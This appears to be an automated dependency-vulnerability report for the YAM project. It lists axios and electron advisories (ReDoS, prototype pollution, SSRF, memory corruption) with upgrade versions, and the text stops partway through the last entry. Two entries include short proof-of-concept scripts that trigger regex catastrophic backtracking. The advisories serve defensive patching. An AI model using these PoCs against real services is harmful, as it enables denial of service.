References
medium severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth and request processing on applications that rely on maxBodyLength to cap upload size, potentially exhausting resources and disrupting service.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to read and buffer more data than intended, potentially exhausting memory or stalling request processing.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the read function when attacker-controlled input is used as the cookie name parameter, which is interpolated into a regular expression without proper escaping. An attacker can cause excessive CPU consumption and freeze the browser tab by supplying specially crafted input that triggers catastrophic backtracking in the regex engine.
Note:
This is only exploitable if attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.
Workaround
This vulnerability can be mitigated by setting the XSRF cookie name configuration to null if XSRF protection is not required, avoiding the use of attacker-controlled input for the cookie name, and validating cookie names against a strict allowlist before passing them to the relevant function.
PoC
function vulnerableRead(name, cookie) {
const start = Date.now();
try {
cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
} catch {}
return Date.now() - start;
}
for (const n of [20, 22, 24, 26, 28]) {
const cookie = 'x='.padEnd(n, 'a') + '!';
console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.
PoC
const axios = require('axios');
console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');
console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');
/* stdout
t1: 60.826ms
t2: 5.826s
*/
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade axios to version 0.29.0, 1.6.3 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy configurations, a request to localhost, 127.0.0.1, or ::1 can be routed differently depending on the no_proxy entry, allowing loopback traffic to bypass the intended proxy handling.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
new
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Uncontrolled Recursion in the defaultVisitor function of lib/helpers/toFormData.js, which calls JSON.stringify() on a value when its top-level key ends in {}, before the maxDepth guard can inspect the nested structure. An attacker can crash the process by supplying an object with a top-level key ending in {} and thousands of levels of nesting, which native JSON.stringify() recurses through until the call stack overflows with a RangeError. Exploitation requires the application to pass untrusted input through axios as data or params, with a top-level key ending in {} and nesting beyond roughly 2500 to 3000 levels.
Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42039.
Remediation
Upgrade axios to version 0.33.0, 1.18.0 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via a crafted HTML page. An attacker can potentially exploit heap corruption.
Remediation
Upgrade electron to version 31.7.4, 32.2.3 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via a crafted HTML page. An attacker can potentially exploit heap corruption.
Remediation
Upgrade electron to version 32.2.3 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Access Restriction Bypass due to an inappropriate implementation in the Extensions feature. An attacker can bypass site isolation.
Remediation
Upgrade electron to version 31.7.5, 32.2.5, 33.2.1 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Fonts.
Remediation
Upgrade electron to version 31.7.2 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow through the V8 engine.
Remediation
Upgrade electron to version 31.7.2 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in v8, when processing a very large number of parameters.
Remediation
Upgrade electron to version 32.3.2, 33.4.2 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Improper Isolation or Compartmentalization that allows an attacker who can convince a user to follow a malicious link to escape sandbox protections, due to a logic error in the Mojo component. This vulnerability does not enable code execution on its own, but is presumed chainable with another vulnerability to achieve code execution and has been observed in the wild.
Note: This vulnerability is only exploitable on Windows.
Remediation
Upgrade electron to version 33.4.8, 34.4.1, 35.1.2 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Integer Overflow or Wraparound via an incorrect count being passed to InstructionAccurateScope in the V8 engine. An attacker can cause heap corruption by enticing a user to visit a specially crafted HTML page.
Remediation
Upgrade electron to version 37.2.4 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Type Confusion. An attacker can access memory locations outside of the intended bounds by crafting a malicious HTML page that triggers type confusion in the V8 engine.
Remediation
Upgrade electron to version 31.7.2 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Integer Overflow or Wraparound when decoding videos with a large frame size. An attacker can cause memory corruption within the AV1 decoder by providing a specially crafted video file.
Remediation
Upgrade electron to version 27.3.11, 28.3.1 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via Angle, where base level changes may not update FBO completeness check.
Remediation
Upgrade electron to version 16.2.0 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Domain Spoofing via a crafted HTML page as a result of inappropriate implementation in navigation in Google Chrome.
Remediation
Upgrade electron to version 16.0.0 or higher.
References
medium severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Improper Input Validation in Data Transfer, because the sanitization code only does one round of parsing and serializing.
Remediation
Upgrade electron to version 17.4.8, 18.3.5 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling.
Notes: Standard axios request flow (buildURL) uses its own encode function, which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging.
This lets a malicious page or library alter how responses are handled, including making 4xx and 5xx responses be treated as successful and bypassing normal error handling in applications that rely on Axios defaults.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution via polluted Object.prototype properties in the merge process. An attacker can inject arbitrary HTTP headers into outbound requests or cause synchronous application crashes by manipulating upstream dependencies to pollute prototype attributes, leading to header injection or denial of service conditions.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.32.0, 1.16.0 or higher.
References
medium severity
new
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution n the getMergedValue() function of lib/core/mergeConfig.js, which clones nested option objects such as auth and paramsSerializer into plain {} containers that inherit from Object.prototype, so downstream reads in lib/helpers/resolveConfig.js, lib/adapters/http.js, and lib/helpers/buildURL.js pick up polluted values without own-property checks. An attacker who can pollute Object.prototype can inject an Authorization: Basic header or fully override query-string serialization through paramsSerializer.serialize, enabling request tampering, cache poisoning, or signature-check bypass, on axios calls that pass placeholder nested objects like auth: {} or paramsSerializer: {}. Exploitation requires a separate component to have already polluted Object.prototype and the application to pass empty or partial nested option objects.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.33.0, 1.18.0 or higher.
References
medium severity
new
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution in the bodyless method aliases in lib/core/Axios.js, the proxy handling in lib/adapters/http.js, and the paramsSerializer read in lib/helpers/resolveConfig.js, which read data, proxy, and paramsSerializer off the config without own-property checks, so polluted Object.prototype values are picked up. An attacker who can pollute Object.prototype can attach body data to a bodyless request such as axios.get(), route requests through an attacker-controlled proxy, or execute an attacker-supplied paramsSerializer during URL serialization, by setting Object.prototype.data, Object.prototype.proxy, or Object.prototype.paramsSerializer. Exploitation requires a separate component to have already polluted Object.prototype, commonly through a transitive dependency.
Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
